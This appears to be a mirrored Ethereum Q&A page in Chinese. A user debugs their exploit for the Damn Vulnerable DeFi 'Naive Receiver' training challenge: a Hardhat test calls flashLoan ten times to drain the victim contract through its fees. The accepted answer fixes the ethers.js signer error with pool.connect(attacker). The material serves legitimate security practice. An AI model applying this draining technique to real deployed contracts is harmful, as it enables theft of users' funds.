首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >Damn易受攻击的Defi (朴素-接收者)中的无效ENS名称

Damn易受攻击的Defi (朴素-接收者)中的无效ENS名称
EN

Ethereum用户
提问于 2022-05-17 06:07:25
回答 1查看 98关注 0票数 1

我正在努力解决易受攻击的Defi挑战的二级-朴素接收器

我们必须通过利用缺失的访问控制来耗尽用户的平衡,允许任何人成为借款者,并调用闪存贷款。这使任何人都可以申请贷款的接收合同,并从他们的余额,因为1以太费用。

这是我的解决方案:

代码语言:javascript
复制
    it('Exploit', async function () {
        for(let i=0; i<10; i++) {
            await this.pool.flashLoan(this.receiver.address, ethers.utils.parseEther('0'), {from: attacker});
        }
    });

下面是我在运行测试yarn hardhat test test/naive-receiver/naive-receiver.challenge.js时遇到的错误:

代码语言:javascript
复制
  0 passing (871ms)
  2 failing

  1) [Challenge] Naive receiver
       Exploit:
     Error: invalid ENS name (argument="name", value="<SignerWithAddress 0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC>", code=INVALID_ARGUMENT, version=providers/5.4.5)
      at Logger.makeError (node_modules/@ethersproject/logger/src.ts/index.ts:225:28)
      at Logger.throwError (node_modules/@ethersproject/logger/src.ts/index.ts:237:20)
      at Logger.throwArgumentError (node_modules/@ethersproject/logger/src.ts/index.ts:241:21)
      at EthersProviderWrapper.<anonymous> (node_modules/@ethersproject/providers/src.ts/base-provider.ts:1565:20)
      at step (node_modules/@ethersproject/providers/lib/base-provider.js:48:23)
      at Object.next (node_modules/@ethersproject/providers/lib/base-provider.js:29:53)
      at fulfilled (node_modules/@ethersproject/providers/lib/base-provider.js:20:58)

  2) [Challenge] Naive receiver
       "after all" hook for "Exploit":
     AssertionError: Expected "10000000000000000000" to be equal 0
      at Context.<anonymous> (test/naive-receiver/naive-receiver.challenge.js:44:17)
      at processTicksAndRejections (node:internal/process/task_queues:95:5)
      at runNextTicks (node:internal/process/task_queues:64:3)
      at listOnTimeout (node:internal/timers:533:9)
      at processTimers (node:internal/timers:507:7)



error Command failed with exit code 2.

我的代码或逻辑有什么问题吗?

EN

回答 1

Ethereum用户

回答已采纳

发布于 2022-05-21 04:13:29

不能使用this.pool.flashLoan()直接调用{from: attacker}函数。

使用ethers.js,您需要重新连接与签名人的合同--类似这样的东西,

代码语言:javascript
复制
it('Exploit', async function () {
        for (let i = 0; i < 10; i++) {
            await this.pool.connect(attacker).flashLoan(this.receiver.address, ethers.utils.parseEther('0'));
        }
    });

参考- https://github.com/ethers-io/ethers.js/issues/1449#issuecomment-817198604

票数 0
EN
页面原文内容由Ethereum提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://ethereum.stackexchange.com/questions/128357

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档